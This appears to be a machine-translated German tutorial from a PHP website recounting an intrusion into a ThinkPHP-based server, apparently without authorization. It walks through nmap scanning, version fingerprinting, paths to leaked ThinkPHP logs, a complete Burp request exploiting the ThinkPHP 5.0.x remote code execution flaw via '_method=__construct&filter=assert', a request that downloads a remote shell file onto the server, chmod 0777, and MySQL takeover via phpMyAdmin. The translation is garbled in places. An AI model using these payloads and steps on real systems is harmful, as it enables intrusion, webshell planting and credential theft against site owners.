Die folgende thinkphp-FrameworkTutorial-Kolumne vermittelt Ihnen einen praktischen Einblick in das ThinkPHP-Framework. Ich hoffe, dass es für Freunde in Not hilfreich sein wird!
Suchen Sie eine Website http://x.x.x.x/ und beginnen Sie, in sie einzudringen
Scannen Sie zunächst mit nmap den offenen Port des Opferservers, um den Port zu erkennen.
Sie können die offenen Ports als sehen folgt
Der Port ist die eindeutige Identifikations-ID der Anwendung in der Computerkommunikation. Über den Port können wir erkennen, welche Dienste vom Opferserver geöffnet werden. 3306 ist beispielsweise MySQL und externe Verbindungen sind aktiviert. Wir werden den Portzugriff überprüfen, um zu sehen, ob er geöffnet ist. phpmyadmin, ein PHP-Verbindungs-MySQL-Tool. Wir können es zum Knacken von MySQL-Passwörtern verwenden. 8082 ist eine Leih-Homepage
Geben Sie einfach eine nicht vorhandene Route ein und überprüfen Sie die Fehlermeldung, z. B. http://x.x.x.x/gfvhfFehler erfolgreich gemeldet: Die Version des Thinkphp-Frameworks ist 5.1.7 (diese Version weist eine Injektionsschwachstelle auf)
8084 ist ein Hintergrund zum weiteren Sammeln
8092 ist ein Hintergrund, da aufgrund einer unregelmäßigen Bereitstellung Thinkphp-Protokolle durchgesickert sind kann verwendet werden, um das Konto und das Passwort anzuzeigen, bei dem sich der Administrator angemeldet hat.
Hier sprechen wir über schwarze Produkte, die das Thinkphp-Framework verwenden. Da der Betrieb und die Wartung unausgegoren sind, ist es sehr wahrscheinlich, dass das Thinkphp-Protokoll durchgesickert isttp5-6-Nutzlast: Domainname/Runtime/log/202112/. 19.log (Das folgende 202112/19.log basiert auf den aktuellen Datumsänderungen)
tp3-Nutzlast: Domainname/Anwendung/Laufzeit/Protokolle/Home/21_12_19.log (
Das folgende 21_12_19.log basiert auf die aktuelle Datumsänderung Die vom 8083-Port verwendete Thinkphp-Version ist 5.0.15. Die Nutzungsbedingungen der Version 5.0.15 sind zurückhaltend und weichNachdem die Informationssammlung abgeschlossen ist, führen Sie einen präzisen Angriff aus
Öffnen Sie Burp, verwenden Sie dann die Paketerfassung und leiten Sie das Datenpaket dann an das Repeater-Modul von Burp weiter. Ersetzen Sie anschließend den erfassten Paketinhalt durch den folgenden InhaltDas Prinzip der Sicherheitsanfälligkeit wird nicht im Detail erklärt, da keine PHP-Architekturschicht es verstehen kann. Eine kurze Beschreibung besagt, dass das Überschreiben einer Variable die Codeausführung verursacht. Informationen zum Schwachstellen-Poc von thinkphp5 finden Sie unter https://y4er.com/post/thinkphp5-rce/
Der Inhalt des folgenden Pakets dient dazu, die Schwachstelle auszulösen und zuzulassen Der Server soll phpinfo() ausführenPOST /index.php?s=captcha&echod=phpinfo() HTTP/1.1
Host: x.x.x.x
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36 Edg/96.0.1054.57
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: pmaCookieVer=5; pma_lang=zh_CN; pma_collation_connection=utf8_unicode_ci; phpMyAdmin=iar4j14536rat57j1d5018qjtt8vj69g
Content-Type:application/x-www-form-urlencoded
Content-Length: 77
_method=__construct&filter=assert&method=get&server[REQUEST_METHOD]=echod
Beginnen Sie mit dem Schreiben der Shell und ersetzen Sie den Anforderungsheader durch:
POST /index.php s=captcha&echod=copy('http://x.x.x.x/2.txt','t2.php') HTTP/1.1
Das bedeutet, dass Sie die Remote-Shell-Datei http://x.x.x.x herunterladen müssen /2.txt auf meinem Server. Schreibe in t2.php im aktuellen Webverzeichnis
Aber wenn ich auf t2.php zugreife, erscheint ein 404, was darauf schließen lässt, dass das aktuelle Verzeichnis keine Schreibberechtigung hatAlso versuche ich, Schreibrechte zu erteilen Berechtigungen:POST /index.php?s=captcha&echod=chmod('./',0777) HTTP/1.1
Verwenden Sie den zuvor entdeckten phpmyadmin-Dienst, um sich anzumelden, und dann MySQL, um externe Verbindungen zu öffnen.
Verwenden Sie das MySQL-Verwaltungstool, um eine Verbindung herzustellen und eine Reihe von Datenbanken zu entdecken. Und MySQL verfügt direkt über Root-Berechtigungen, wodurch der Server erhöht werden kann (seitliches Eindringen in das Intranet) usw. Wie auch immer, das externe Netzwerk hat eine Lücke geöffnet, daher werde ich hier nicht näher darauf eingehen.
Um einige der Ideen zusammenzufassen, die ich mir selbst ausgedacht habe: Wenn thinkphp den Debug-Modus aktiviert und der Server externe Datenbankverbindungen aktiviert, kann er eine große Anzahl von Anfragen senden, indem er den MySQL-Dienst sprengt (MySQL blockieren lassen). ), was dazu führt, dass thinkphp eine Verbindung zu MySQL herstellt und eine Zeitüberschreitung auftritt. Es wird ein Verbindungsausnahmefehler gemeldet und das Passwort des MySQL-Kontos wird auf der Seite ausgegeben.
Empfohlenes Lernen: „Thinkphp-Video-Tutorial“
Das obige ist der detaillierte Inhalt vonDenken Sie an eine praktische Einführung in das ThinkPHP-Framework. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!